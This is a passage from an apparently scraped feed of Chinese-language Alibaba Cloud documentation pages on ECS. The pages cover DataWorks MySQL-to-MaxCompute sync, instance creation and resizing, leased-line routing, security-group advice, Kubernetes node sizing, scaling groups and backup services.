        ('2018-08-24','bath','brandF','peiqi',1,445.6,2),
        ('2018-08-24','coat','brandA','ray',3,777,3),
        ('2018-08-24','bath','brandG','ray',3,122,3),
        ('2018-08-24','coat','brandC','ray',1,62,7) ;
      • 请记录好您的ECS的私有IP专有网络虚拟交换机信息。ECS2
      • ECS上的安全组已放通MySQL数据库所使用的端口(默认为3306),详情请参见添加安全组规则,请记录好您的安全组名称。安全组
      • 已成功创建DataWorks工作空间。本文使用DataWorks简单模式工作空间,计算引擎为MaxCompute。请保证您的ECS与DataWorks工作空间处于同一个地域,创建方法请参见创建工作空间
      • 已完成独享数据集成资源的购买,并且绑定了ECS所在的专有网络VPC。请注意独享资源组必须与ECS同一可用区,详情请参见独享资源组。完成绑定后,您可以在资源组列表查看到您的独享资源组。资源组
      • 专有网络绑定处查看专有网络交换机安全组信息是否和ECS一致。网络绑定

      背景信息

      独享资源可以保障您的数据快速、稳定地传输。您购买的独享数据集成资源和需要访问的数据源(即本文中的ECS自建MySQL数据库)必须在同地域同可用区,且和DataWorks工作空间同地域。

      操作步骤

      1. 在DataWorks上创建MySQL数据源。
        1. 使用主账号登录DataWorks控制台
        2. 工作空间列表单击进入数据集成

          11

        3. 在左侧导航栏上单击数据源
        4. 在左侧导航栏上单击数据源管理
        5. 在页面右上角单击新增数据源
        6. 新增数据源页面,单击MySQL

          12

        7. 新增M有SQL数据源对话框中,填写数据源参数。

          本例使用JDBC连接串模式,在JDBC URL处填写您刚刚记录的ECS私有地址和MySQL的默认端口号3306。输入您为MySQL数据库创建的用户名和密码后,单击完成13

          说明 当前VPC环境下的自建MySQL数据源尚不支持测试连通性,因此连通性测试失败是正常现象。

      2. 创建MaxCompute表。

        您需要通过DataWorks创建一个表,用于接收来自MySQL的测试数据。

        1. 单击左上角图标,切换至DataStudio(数据开发)页面。

          数据开发

        2. 新建一个业务流程

          22

        3. 右键单击您刚新建好的业务流程,选择新建 > MaxCompute

          新建表

        4. 输入您的MaxCompute表名称,本例中使用和MySQL数据库表一样的名称good_sale。单击DDL模式后,输入您的建表语句并生成表结构

          DDL模式本例中使用的建表语句如下,请注意数据类型的转换。

          CREATE TABLE IF NOT EXISTS good_sale(
             create_time string,
             category STRING,
             brand STRING,
             buyer_id STRING,
             trans_num BIGINT,
             trans_amount DOUBLE,
             click_cnt BIGINT
             );

        5. 输入表的中文名后,单击提交到生产环境,完成MaxCompute表good_sale的创建。

          15

      3. 配置数据集成任务。
        1. 右键单击您的业务流程,选择新建 > 数据集成离线同步,创建一个数据集成任务。

          31

        2. 选择您的数据来源为您刚添加的MySQl数据源,数据去向为默认MaxCompute数据源odps_first,单击转换脚本切换数据集成任务为脚本模式。

          此时,如果产生报错或您无法选择数据来源的,都属于正常现象,直接转换为脚本模式即可。32

        3. 单击右上角配置任务资源组,切换为您之前购买的独享资源组。

          如果未切换任务资源组为数据集成独享资源,后续您的任务将无法成功运行。切换任务资源组

        4. 填写数据集成任务脚本内容如下。

          {
              "type": "job",
              "steps": [
                  {
                      "stepType": "mysql",
                      "parameter": {
                          "column": [//源列名
                              "create_time",
                              "category",
                              "brand",
                              "buyer_id",
                              "trans_num",
                              "trans_amount",
                              "click_cnt"
                          ],
                          "connection": [
                              {
                                  "datasource": "shuai",//源数据源
                                  "table": [
                                      "good_sale"//源数据库表名,此处必须为方括号数组格式。
                                  ]
                              }
                          ],
                          "where": "",
                          "splitPk": "",
                          "encoding": "UTF-8"
                      },
                      "name": "Reader",
                      "category": "reader"
                  },
                  {
                      "stepType": "odps",
                      "parameter": {
                          "partition": "",
                          "truncate": true,
                          "datasource": "odps_first",//目标数据源
                          "column": [//目标列名
                              "create_time",
                              "category",
                              "brand",
                              "buyer_id",
                              "trans_num",
                              "trans_amount",
                              "click_cnt"
                          ],
                          "emptyAsNull": false,
                          "table": "good_sale"//目标表名
                      },
                      "name": "Writer",
                      "category": "writer"
                  }
              ],
              "version": "2.0",
              "order": {
                  "hops": [
                      {
                          "from": "Reader",
                          "to": "Writer"
                      }
                  ]
              },
              "setting": {
                  "errorLimit": {
                      "record": "0"
                  },
                  "speed": {
                      "throttle": false,
                      "concurrent": 2
                  }
              }
          }

        5. 单击运行,您可以在下方的运行日志查看数据是否已传输到MaxCompute。

          123

      执行结果

      您可以新建一个ODQP SQL类型的节点,用于查询当前MaxCompute表中的数据。新建节点输入您的查询语句select * from good_sale ;,单击运行,即可看到当前已传入MaxCompute表中的数据。222

      ]]> 通过控制台使用ECS实例(快捷版)_快速入门_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过控制台使用ECS实例(快捷版)

      更新时间:2020-05-14 22:20:10

      本页目录

      如果您只需要1~2台ECS实例,不需要复杂的网络设置,可以根据此章节快速创建一台包年包月的ECS实例。

      登录购买页

      登录并前往实例创建页

      说明

      如果未注册阿里云账号,请先注册账号。具体请参见阿里云账号注册流程

      选购ECS实例

      1. 配置基础信息,单击下一步,网络与安全

        基础配置

        注意以下配置项,其他配置如无特殊需求,可直接使用默认值。

        配置项 说明
        地域及可用区 选择靠近您客户的地域,可降低网络时延、提高您客户的访问速度。

        此处以华东1(杭州)为例。

        实例 选择适合的实例规格。
        • 个人应用:推荐选择1核2G的实例规格ecs.s6-c1m2.small
        • 中小企业应用:推荐选择2核4G的实例规格ecs.c5.large
        镜像 选择ECS的操作系统。
        • 公共镜像:选择纯净的操作系统,支持Linux、Windows等。
        • 自定义镜像:选择已部署应用环境的操作系统。

        此处以公共镜像Aliyun Linux 2.1903 LTS 64 位为例。

        购买实例数量 默认选择1台实例。
        购买时长 默认选择1个月。

      2. 网络与安全,配置公网IP,单击下一步,系统配置

        网络安全组

        设置公网带宽,网络类型和安全组可使用系统默认设置。

        配置项 说明
        网络类型 自动为您创建默认专有网络VPC。
        公网IP 设置公网带宽,默认1Mbit/s。
        安全组 自动为您创建默认安全组。

      3. 系统配置,配置ECS登录密码,单击确认订单

        设置密码

      4. 确认配置信息并勾选服务协议,单击确认下单
      5. 根据页面提示完成支付。

      说明 如果需要详细了解各配置项,请参见使用向导创建实例

      连接ECS实例

      1. 返回实例列表页面。
      2. 在实例的操作列,单击远程连接
      3. 在弹出的登录实例对话框中,完成登录凭证设置,然后单击确定

        登录实例

      实例到期释放

      包年包月实例到期后,您可以手动释放。如果一直未续费,实例也会自动释放。

      创建和连接ECS实例示例

      控制台快速创建实例

      ]]> 升降配包年包月ECS实例_用户指南_专有宿主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 升降配包年包月ECS实例

      更新时间:2019-12-13 17:08:19

      本页目录

      在DDH上创建的ECS实例不再适用于您的业务需求时,您可以根据实际需要升级或降级实例规格(vCPU和内存)或修改公网带宽进行相应的调整。

      前提条件

      已在DDH上创建包年包月ECS实例。详情请参见在DDH上创建ECS实例

      背景信息

      升降配DDH上的包年包月ECS实例主要包括:

      您还可以通过升降配功能为已创建的ECS实例分配公网IP,详情请参见创建实例后分配公网IP地址

      升降配包年包月实例规格

      升降配实例规格时,您只能同时升级或降低实例的vCPU核数和内存大小。 升降配实例规格的场景,如下表所示。

      说明 确认实例规格是否支持升降配,请参见实例规格变配介绍

      升降配方式 操作 如何生效
      升配包年包月实例规格 升级包年包月实例配置 选择下列一种方法重启实例,新规格即时生效。
      降配包年包月实例规格 选择下列一种方法重启实例,使新规格生效。

      升降配包年包月实例公网带宽

      升降配包年包月实例公网带宽的场景及详情,如下表所示。

      升降配方式 操作 是否立即生效 适用范围 说明
      升配包年包月实例公网带宽 升级包年包月实例带宽 未绑定弹性网卡(EIP)的包年包月ECS实例 永久提升ECS实例的基础带宽,升级后不会改变实例的公网或私网IP地址。
      临时升级包年包月实例带宽 未绑定弹性网卡(EIP)的包年包月ECS实例 在实例当前生命周期内临时调整带宽,业务结束时自动降回到原来的公网带宽。升级带宽不会改变实例的公网或私网IP地址。
      降配包年包月实例公网带宽 续费时降配包年包月实例带宽 在下一个计费周期生效 包年包月ECS实例 续费时调整公网带宽,分为以下两种情况:
      • 按固定带宽计费时:只能降低实例的公网带宽。降低带宽不会改变实例的公网或私网IP地址。
      • 按使用流量计费时:可以提高或降低实例的公网带宽峰值。
      公网带宽降低到0 Mbit/s时,ECS实例的公网IP地址会在新计费周期释放。
      实时降配包年包月实例带宽 未绑定弹性网卡(EIP)的包年包月ECS实例 永久降低ECS实例的基础带宽,降配后不会改变实例的公网或私网IP地址。

      ]]> 本地IDC通过专线访问云服务器ECS_最佳实践_高速通道-阿里云 Fri, 02 May 2025 09:39:04 +0800 本地IDC通过专线访问云服务器ECS

      更新时间:2020-03-25 09:40:58

      本页目录

      本文介绍本地数据中心如何通过高速通道连接阿里云,打通云上VPC和本地IDC的网络,通过本地IDC的一台服务器访问云上VPC的一台ECS。

      背景信息

      当您需要从本地数据中心通过物理专线访问VPC中的云服务时,需要在边界路由器(VBR)中将100.64.0.0/10网段的路由条目指向VPC方向的路由器接口,并在本地数据中心的网关设备上将100.64.0.0/10网段的路由指向VBR的阿里云侧互联IP。

      100.64.0.0/10是专有网络的保留地址,用于VPC中DNS、OSS或SLS等云服务使用。

      说明 由于100.64.0.0/10网段属于VPC中的保留网段,因此不能直接在VBR中添加目的网段为100.64.0.0/10的路由条目。需要将该网段拆分成100.64.0.0/11和100.96.0.0/11,在VBR中配置两个路由条目。

      教程介绍

      本操作以下图的VPC和IDC配置为例,假设您在华东1(杭州)分别有一个VPC(私网网段:172.16.0.0/16)和本地IDC机房(私网网段:172.17.1.0/24),需要自主申请一条物理专线使本地IDC服务器(IP地址:172.17.1.2)和VPC中的ECS服务器(IP地址:172.16.1.1)互通。

      参数 地址段
      云上VPC网段 172.16.0.0/16
      云上交换机网段 172.16.0.0/24
      云上ECS的IP地址 172.16.1.1/24
      本地IDC网段 172.17.1.0/24
      互联IP
      • 云端VBR地址:10.0.0.1/30
      • 本地IDC端:10.0.0.2/30
      本地服务器IP地址 172.17.1.2/24
      健康检查
      • 源IP:172.16.1.2
      • 目的IP:10.0.0.2

      步骤一:创建专线连接

      您可以通过高速通道控制台自主创建专线连接(独享端口方式)或通过合作伙伴共享专线方式创建专线连接。具体操作请参见创建独享专线连接共享合作伙伴专线连接

      本教程中和专线连接的云上网关设备边界路由器的配置如下:

      边界路由器配置项 配置详情
      VLANID 0
      阿里云侧互联IP 10.0.0.1
      客户侧互联IP 10.0.0.2
      子网掩码 255.255.255.252

      步骤二:加入云企业网

      在完成专线接入后,您还需要在专线关联的VBR和要互通的VPC加入同一个云企业网。

      参考以下操作,加入云企业网:

      1. 登录云企业网控制台
      2. 云企业网实例页面,单击CEN实例ID链接。

        如果需要创建云企业网实例,请参见创建云企业网实例

      3. 网络实例管理页面,单击加载网络实例加载专线关联的VBR和要互通的VPC。

        详细说明,请参见加载网络实例加载网络

      4. 单击再次加载,加载需要连接的VPC。

      步骤三:配置VBR路由

      您需要在VBR上分别配置指向本地数据中心和物理专线接口的路由。

      参考以下操作,配置VBR路由:

      1. 登录高速通道管理控制台
      2. 在左侧导航栏,选择边界路由器(VBR) > 边界路由器(VBR),然后单击目标边界路由器的ID链接。
      3. 在边界路由器详情页面,单击路由条目,然后单击添加路由条目
      4. 添加路由条目页面,根据以下信息配置路由条目。

        • 目标网段:输入本地数据中心的网段,本操作中输入172.17.1.0/24
        • 下一跳类型:选择物理专线接口
        • 下一跳:选择要自主申请的物理专线。

      5. 单击确定

      步骤四:配置健康检查

      参考以下操作,配置健康检查:

      1. 登录云企业网控制台
      2. 在左侧导航栏,单击健康检查
      3. 选择云企业网实例的地域华东1(杭州),然后单击设置健康检查
      4. 设置健康检查页面,配置健康检查。

        • 云企业网实例:选择边界路由器加载的云企业网实例。
        • 边界路由器(VBR):选择要监控的边界路由器。
        • 源IP:输入所连接的VPC中交换机下的一个空闲IP,例如172.16.1.2。
        • 目标IP:本地IDC网络设备的接口IP地址,例如10.0.0.2。

      步骤五:配置本地数据中心的路由

      至此,已完成阿里云上的路由配置。您还需要在专线接入设备上配置指向VPC的路由。您可以选择配置静态路由或配置BGP路由将本地数据中心的数据转发至VBR。

      参考以下操作,配置本地路由:

      1. 本地网关设备配置到云上VPC的路由,您可以选择配置静态路由或配置BGP动态路由将本地数据中心的数据转发至VBR。

        • 静态路由示例仅供参考,不同厂商的不同设备可能会有所不同:
          ip route 172.16.0.0 255.255.0.0 10.0.0.1
        • 您也可以通过配置BGP来转发本地数据中心与VBR之间的数据,详情请参见配置BGP

          宣告网段为需要和本地数据中心通信的VPC的网段,下一跳云上边界路由器IP地址10.0.0.1。本案例中VPC网段为 172.16.0.0/16。

      2. 本地网关设备ping云上VBR连通性测试。

        执行ping命令,ping 10.0.0.1,如果能ping通,表示本地网关到云上的专线连接成功。

      3. 执行如下命令,将本地IDC的服务器添加默认路由指向本地网关。

        route add default gw 172.17.1.1

      步骤六:专线连通性测试

      参考以下操作,测试专线是否接入成功:

      1. 打开本地IDC服务器的命令行窗口。
      2. 执行ping命令,ping云上VBR10.0.0.1,如果能ping通,表示本地服务器到云上的专线连接成功。

      说明 ECS无法ping通VBR互联地址。

      步骤七:ECS连通性测试

      您可以通过ping云上ECS实例的IP地址测试云上和本地数据中心的网络通信是否正常。

      说明 确保您要测试的ECS实例已经配置了安全组规则,允许本地IDC访问。

      因为ECS的IP地址是动态分配的,请以实际ECS实例的内网IP进行配置,本案例中ECS实例的内网IP为172.16.1.1

      1. 打开本地IDC服务器的命令行窗口,执行ping命令,ping阿里云ECS实例的内网IP。

        ping 172.16.1.1

      2. 登录阿里云ECS实例并打开命令行窗口。
      3. 执行ping命令,ping本地服务器的IP地址。如果能ping通,表示通过高速通道云下服务器到云上ECS已经连接成功。

        ping 172.17.1.2

      ]]> ECS安全配置_政务云云产品使用安全规范_新手上路_阿里政务云-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS安全配置

      更新时间:2020-05-14 11:47:38

      本页目录

      ECS具备安全组的安全设置,通过安全组配置和阿里云提供丰富的云服务器及应用安全防护产品,可从多维度提高ECS的安全性。

      安全组及安全产品

      • 安全组

        安全组是一种虚拟防火墙,具备状态检测和包过滤功能。安全组用于设置单台或多台实例的网络访问控制,它是重要的网络安全隔离手段,用于在云端划分安全域。更多安全组的介绍请参考 安全组 章节。

      • 安骑士

        安骑士是一款经受百万级主机稳定性考验的主机安全加固产品,拥有自动化实时入侵威胁检测、病毒查杀、漏洞智能修复、基线一键核查等功能,是构建主机安全防线的统一管理平台。更多安骑士的介绍请参考 什么是安骑士 章节。

      • WAF

        云盾Web应用防火墙(Web Application Firewall, 简称 WAF)基于云安全大数据能力,用于防御SQL注入、XSS跨站脚本、常见Web服务器插件漏洞、木马上传、非授权核心资源访问等OWASP常见攻击,并过滤海量恶意CC攻击,避免您的网站资产数据泄露,保障网站的安全与可用性。更多WAF的介绍请参考什么是Web应用防火墙 章节。

      安全配置建议

      使用场景 场景说明 安全配置建议
      登录密钥 ECS远程登录账号及密钥。 建议设置为强密码形式:12位以上,同时包含数字、大小写字母、特殊符号
      远程登录端口 22、3389端口分别用于ECS的Linux和Windows场景下的远程登录,需对这两端口进行安全限制。
      • 利用安全组限制22、3389远程登录端口的访问来源IP。
      • 无法设置白名单时,将远程登录的方式设置为SSH Key认证方式。
      MySQL、FTP等在ECS上安装的高危服务端口 由于MySQL和FTP的业务需求,需在ECS上开放对应的业务端口,这些端口需进行安全限制。 限制只允许本机访问或者利用安全组限制访问来源IP。
      公网访问隔离 互联网访问本ECS实例。 建议:
      • ECS实例不直接对互联网暴露其IP地址,通过DNS、公网SLB、EIP等提供互联网服务。
      • 在安全组配置时,IP段及端口不要全开放。只保留业务需要使用的端口和IP。
      内网访问 VPC内部其他实例访问本ECS实例。 建议安全组配置时,IP段及端口不要全开放。只保留业务需要使用的端口和IP。
      HTTP 证书 ECS的网络业务需加载HTTP证书。
      • HTTP业务建议使用HTTPS协议,并加载HTTPS证书。
      • HTTP服务的需要利用安全组限制访问来源IP。
      • HTTP服务域名建议开通WAF防护。
      云服务器防护 ECS实例自身的安全监控及防护可由阿里云提供的服务器安全防护产品安骑士保障。 建议每个ECS实例均安装使用安骑士,实时防护ECS实例。
      应用防护 在ECS上部署了Web网站或其他应用,可对应用进行安全防护。 开通安全管家的网站安全体检功能、开通WAF。
      其中:

      • 密钥设置:请参考 创建实例 章节,在“系统配置”时,登录密码根据上述推荐,配置为高复杂度的强密码形式。
      • 安全组配置:请参考安全组应用案例章节。其中“授权对象”根据上述安全配置建议进行修改。
      • 安骑士安装使用:请参考 快速入门 章节。
      • WAF部署使用:请参考 快速入门 章节。
      • 证书服务:证书的购买、使用请参考 证书服务 章节。
      • 安全管家:安全管家的使用请参考 使用手册 章节

      ]]> ECS选型_集群管理最佳实践_集群管理_Kubernetes集群用户指南_容器服务Kubernetes版-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS选型

      更新时间:2020-02-14 17:48:39

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍构建Kubernetes集群时推荐的ECS类型。

      集群规划

      目前在创建Kubernetes集群时,存在着使用很多小规格ECS的现象,这样做有以下弊端:

      • 小规格Woker ECS的网络资源受限。
      • 如果一个容器基本可以占用一个小规格ECS,此ECS的剩余资源就无法利用(构建新的容器或者是恢复失败的容器),在小规格ECS较多的情况下,存在资源浪费。

      使用大规格ECS的优势:

      • 网络带宽大,对于大带宽类的应用,资源利用率高。
      • 容器在一台ECS内建立通信的比例增大,减少网络传输。
      • 拉取镜像的效率更高。因为镜像只需要拉取一次就可以被多个容器使用。而对于小规格的ECS拉取镜像的次数就会增多,若需要联动ECS伸缩集群,则需要花费更多的时间,反而达不到立即响应的目的。

      选择Master节点规格

      通过容器服务创建的Kubernetes集群,Master节点上运行着etcd、kube-apiserver、kube-controller等核心组件,对于Kubernetes集群的稳定性有着至关重要的影响,对于生产环境的集群,必须慎重选择Master规格。Master规格跟集群规模有关,集群规模越大,所需要的Master规格也越高。

      说明 您可从多个角度衡量集群规模:节点数量、Pod数量、部署频率、访问量。这里简单的认为集群规模就是集群里的节点数量。

      对于常见的集群规模,可以参考如下的方式选择Master节点的规格(对于测试环境,规格可以小一些。下面的选择能尽量保证Master负载维持在一个较低的水平上):

      节点规模 Master规格
      1-5个节点 4核8G(不建议2核4G)
      6-20个节点 4核16G
      21-100个节点 8核32G
      100-200个节点 16核64G

      选择Worker节点规格

      • 确定整个集群的日常使用的总核数以及可用度的容忍度。

        例如:集群总的核数有160核,可以容忍10%的错误。那么最小选择10台16核ECS,并且高峰运行的负荷不要超过160*90%=144核。如果容忍度是20%,那么最小选择5台32核ECS,并且高峰运行的负荷不要超过160*80%=128核。这样就算有一台ECS出现故障,剩余ECS仍可以支持现有业务正常运行。

      • 确定CPU:Memory比例。对于使用内存比较多的应用例如java类应用,建议考虑使用1:8的机型。

      选用裸金属神龙服务器

      以下两种场景,建议选用裸金属神龙服务器:

      • 集群日常规模能够达到1000核。一台神龙服务器至少96核,这样可以通过10~11台神龙服务器即可构建一个集群。
      • 快速扩大较多容器。例如:电商类大促,为应对流量尖峰,可以考虑使用神龙服务来作为新增节点,这样增加一台神龙服务器就可以支持很多个容器运行。

      使用神龙服务器构建集群,存在以下优势:

      • 超强网络: 配备RDMA(Remote Direct Memory Access)技术。通过Terway容器网络,充分发挥硬件性能,跨宿主机容器带宽超过9Gbit/s。
      • 计算性能零抖动:自研芯片取代Hypervisor,无虚拟化开销,无资源抢占。
      • 安全:物理级别加密,支持Intel SGX加密,可信计算环境,支持区块链等应用。

      ]]> 创建ECS实例_使用金融云产品(经典网络)_金融云-阿里云 Fri, 02 May 2025 09:39:04 +0800 创建ECS实例

      更新时间:2018-06-29 14:57:42

      本页目录

      前提条件

      1. 已完成阿里云账号注册实名认证金融云认证

      2. 已根据安全组规划完成安全组创建

      背景信息

      金融云ECS特性

      金融云ECS(经典网络)有以下特性:

      配置规划

      根据金融云在经典网络下的金融云推荐架构(经典网络)安全策略,您需要在华东1金融云地域的两个可用区分别创建2个ECS实例,分别用作Web接入服务器与应用服务器,配置ECS的规划如下表。

      地域 区域 实例名称 所属安全域 所属安全组
      华东1 可用区B ECS_Web_01 G2 sg_g1
      ECS_APP_01 G3 sg_g2
      可用区D ECS_Web_02 G2 sg_g1
      ECS_APP_02 G3 sg_g2

      操作步骤

      1. 登录阿里云官网并单击右上方的控制台进入控制台页面。
      2. 在左侧导航栏中选择云服务器ECS,进入ECS页面。
      3. 在左侧导航栏中选择实例,选择华东1金融云地域并单击创建实例,进入创建实例页面。
      4. 基础配置:根据实际ECS服务器性能需求配置基础配置,然后单击下一步:网络和安全组

        说明
        • 此创建实例的步骤需重复两次,地域分别选择在可用区B与可用区D,每次购买2台。
        • 建议选择多台低配的ECS而非少量高配ECS,本示例以企业级实例为例。

      5. 网络和安全配置:

        经典网络场景下,网络选择 经典网络,安全组请按照规划分别关联对应安全组,其他参数请根据实际需要配置。

      6. 系统配置。

        • 根据界面提示完成系统配置,建议您使用SSH密钥对以提高安全性。
        • 完成后请记录root用户的密钥对或密码用于后续堡垒机的配置。

      7. 完成后单击确认订单

      ]]> 手动移出ECS实例_ECS实例_实例管理_弹性伸缩-阿里云 Fri, 02 May 2025 09:39:04 +0800 手动移出ECS实例

      更新时间:2019-11-01 17:44:24

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      如果伸缩组内不再需要某些ECS实例,您可以将其手动移出。

      前提条件

      • 伸缩组的状态必须是启用
      • 伸缩组内不能存在执行中的伸缩活动。

      背景信息

      手动移出ECS实例可以绕过冷却时间直接执行。

      如果伸缩组内ECS实例数量减去待移出的ECS实例数量后小于伸缩最小实例数,则执行失败。

      成功触发伸缩活动不代表伸缩活动能够执行成功,请查看伸缩活动详情了解执行结果,具体操作请参见查看伸缩活动详情

      操作步骤

      1. 登录弹性伸缩控制台
      2. 在左侧导航栏中,单击伸缩组管理
      3. 在顶部状态栏处,选择地域。
      4. 找到待操作的伸缩组,选择一种方式打开伸缩组详情页面。
        • 伸缩组名称/ID列中,单击伸缩组名称。
        • 操作列中,单击管理
      5. 在左侧导航栏中,单击ECS实例列表
      6. 选择ECS实例的来源。
        • 如果需要选择自动创建的ECS实例,单击自动创建
        • 如果需要选择手动添加的ECS实例,单击手动添加
      7. 选择一种方式移出ECS实例。
        • 找到待操作的ECS实例,在操作列中,单击更多 > 分离出伸缩组
        • 勾选多个待操作的ECS实例,在ECS实例列表底部,单击分离出伸缩组
        • 找到待操作的ECS实例,在操作列中,单击更多 > 移出伸缩组并释放

          说明 手动添加的实例只可分离出伸缩组,不支持通过伸缩组释放。

        • 勾选多个待操作的ECS实例,在ECS实例列表底部,单击移出伸缩组并释放

          说明 手动添加的实例只可分离出伸缩组,不支持通过伸缩组释放。

      8. 单击确定

      ]]> ECS容灾备份设计_阿里云核心产品灾备设计_阿里云灾备解决方案_通用解决方案-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS容灾备份设计

      更新时间:2019-10-24 09:59:24

      本页目录

      保障企业业务稳定、IT系统功能正常、数据安全十分重要,可以同时保障数据备份与系统、应用容灾的灾备解决方案应势而生,且发展迅速。ECS可使用快照、镜像进行备份。

      灾备设计

      • 快照备份

        阿里云ECS可使用快照进行系统盘、数据盘的备份。目前,阿里云提供快照2.0服务,提供了更高的快照额度、更灵活的自动任务策略,并进一步降低了对业务I/O的影响。使用快照进行备份时,第一次备份为全量备份,后续为增量备份,备份所需时间与待备份数据量有关。

        例如,快照1、快照2和快照3分别是磁盘的第一个、第二个和第三个快照。文件系统对磁盘的数据进行分块检查,当创建快照时,只有变化了的数据块,才会被复制到快照中。阿里云ECS的快照备份可配置为手动备份,也可配置为自动备份。配置为自动备份后可以指定磁盘自动创建快照的时间(24个整点)、重复日期(周一到周日)和保留时间(可自定义,范围是1-65536天,或选择永久保留)。

      • 快照回滚

        当系统出现问题,需要将一块磁盘的数据回滚到之前的某一时刻,可以通过快照回滚实现,前提是该磁盘已经创建了快照。

        说明

        • 回滚磁盘是不可逆操作,一旦回滚完成,原有的数据将无法恢复,请谨慎操作。

        • 回滚磁盘后,从所使用的快照的创建日期到当前时间这段时间内的数据都会丢失。

      • 镜像备份

        镜像文件相当于副本文件,该副本文件包含了一个或多个磁盘中的所有数据,对于ECS而言,这些磁盘可以是单个系统盘,也可以是系统盘加数据盘的组合。使用镜像备份时,均是全量备份,且只能手动触发。

      • 镜像恢复

        阿里云ECS支持使用快照创建自定义镜像,将快照的操作系统、数据环境信息完整的包含在镜像中。然后使用自定义镜像创建多台具有相同操作系统和数据环境信息的实例。ECS的快照与镜像配置请参考快照镜像

        说明 创建的自定义镜像不能跨地域使用。

      技术指标

      RTO和RPO:与数据量大小有关,通常而言是小时级别。

      应用场景

      • 备份恢复

        阿里云ECS可通过快照与镜像对系统盘、数据盘进行备份。如果存储在磁盘上的数据本身就是错误的数据,比如由于应用错误导致的数据错误,或者黑客利用应用漏洞进行恶意读写,此时就可以使用快照服务将磁盘上的数据恢复到期望的状态。另外ECS可通过镜像重新初始化磁盘或使用自定义镜像新购ECS实例。

      • 容灾应用

        ECS可以从架构上来实现容灾场景下的应用,比如:在应用前端购买SLB产品,后端相同应用部署至少两台ECS服务器,或者是使用阿里云的弹性伸缩技术,根据自定义ECS自身资源的使用规则来进行弹性扩容。这样即便其中一台ECS服务器故障或者资源利用超负荷,也不会使服务对外终止,从而实现容灾场景下的应用。以同城两机房部署ECS集群为例:

        • ECS在两机房均部署集群,接入侧通过SLB做两机房的接入流量负载均衡。
        • 两机房部署的Region Master节点是对等的,单Region Master节点故障不影响ECS的管控功能。
        • ECS的管控节点机房级故障切换,主要是对管控集群依赖的中间件域名重新绑定。如管控节点机房级故障,需重新将中间件域名绑定至另一个机房的管控节点。

      更多信息

      ]]> 备份ECS文件_ECS 文件备份_ECS备份教程_混合云备份服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 备份ECS文件

      更新时间:2020-05-08 16:41:57

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      您可以使用混合云备份服务(HBR)备份ECS实例中的文件,并可以在文件丢失或受损时进行恢复。本文为您介绍如何备份ECS实例中的文件。

      前提条件

      您已经完成了准备工作

      为单个ECS实例备份文件

      使用混合云备份服务为单个ECS实例进行文件备份的操作步骤如下:

      1. 登录混合云备份管理控制台
      2. 在左侧导航栏,选择备份 > ECS文件备份
      3. ECS文件备份页面,单击ECS实例页签。
      4. 找到目标ECS实例,在其右侧的操作栏单击备份
      5. 创建备份计划页面,按照以下说明配置参数,然后单击创建

        参数 说明
        备份计划名称 为该备份计划命名。可不填,默认名字随机分配。
        备份文件路径 备份路径规则如下:
        • 无通配符(*)的情况下,可以输入8行路径。
        • 使用通配符(*)时,只能输入1行路径,支持形如/*/*的通配符。
        • 每行只支持绝对路径,例如以(/, \, C:, D:)开头。

        说明

        • 不支持多个根路径同时备份,例如C:和D:不能同时备份。
        • 使用VSS时,不支持多个路径、UNC路径、通配符、排除文件。
        • 使用UNC时,不支持VSS、通配符、排除文件。当备份源包含UNC路径时,将不会对Windows ACL进行备份。

        备份文件规则 您可以选择包括所有文件排除下列文件

        选择排除下列文件后,需要输入文件列表。

        说明 排除路径包含如下规则:

        • 最多支持8条路径,包括使用通配符(*)的路径。
        • 如果路径不含正斜线(/),则通配符(*)匹配多层路径名或文件名,例如*abc*会匹配/abc/,/d/eabcd/,/a/abc;*.txt将匹配所有.txt为扩展名的文件。
        • 如果路径包含正斜线(/),则每个通配符(*)只匹配单层路径或文件名。例如/a/*/*/share会匹配/a/b/c/share,不会匹配/a/d/share。
        • 如果路径以正斜线(/)结束,则表示文件夹匹配,例如 *tmp/ 会匹配 /a/b/aaatmp/,/tmp/ 等。
        • 路径分隔符以Linux系统的正斜线(/)为例,如果是Windows系统请换成反斜线()。

        备份起始时间 选择备份开始执行的时间。时间精确到秒。
        备份执行间隔 选择增量备份的频率。时间单位:时、天、周。

        说明 备份执行间隔最大可支持52周,即一年。

        备份保留时间 选择保留该备份的时间。时间单位:天、周、月、年。
        是否使用VSS
        • 此功能仅Windows系统实例支持。
        • 如果备份源中有数据更改,需要确保备份数据与源数据的一致时,选择使用
        • 选择使用VSS后,不支持多个文件目录同时备份。

        说明 当备份源位于exFat格式的卷时不支持该功能。

        是否使用流量控制

        流量控制可以帮助您在业务高峰期,控制备份文件目录的流量,以免影响正常业务。

        如选择使用,您需要根据业务情况,选择限流时间段,输入限流时间段内备份可使用的最大流量,然后单击添加

      批量为多个ECS实例备份文件

      如果您需要备份多个ECS实例,可以批量创建多个备份任务。具体操作如下:

      1. 登录混合云备份管理控制台
      2. 在左侧导航栏,选择备份 > ECS文件备份
      3. 在页面上方选择需要备份的ECS实例所在的地域。
      4. 在页面右上角,选择批量操作 > 批量创建备份计划
      5. 批量创建备份计划页面,单击下载模板
      6. 打开下载的模板文件,按照以下说明配置模板,然后保存文件。

        说明 如果您不需要备份某个实例,请删除该实例所在行。

        参数 说明
        Client Id 表示当前可用于备份的客户端。请不要修改。
        Instance Id 客户端对应的ECS实例ID。请不要修改。
        Instance Name 客户端对应的ECS实例名。请不要修改。
        Source 输入需要备份的文件目录。路径必须为绝对路径。
        Plan Name 输入备份计划的名字。可不填,默认名字随机分配。
        Retention (Day)
        • 输入备份的时长,输入数值需为整数。
        • 单位默认为天。
        • 可不填,默认保存备份文件730天。
        Effective Time 输入备份开始执行的时间。格式为YYYY-MM-DD/HH:MM:SS例如2018-12-03/12:00:00。
        Backup Interval
        • 输入进行增量备份的时间间隔,输入值需为整数。
        • 单位默认为小时。
        • 可不填,默认间隔为24小时。
        Use VSS for backup
        • 此功能仅Windows系统实例支持。
        • 如果备份源中有数据更改,需要确保备份数据与源数据的一致,可使用此功能。
        • 如需使用输入Y,不使用输入N。可不填,默认不使用。
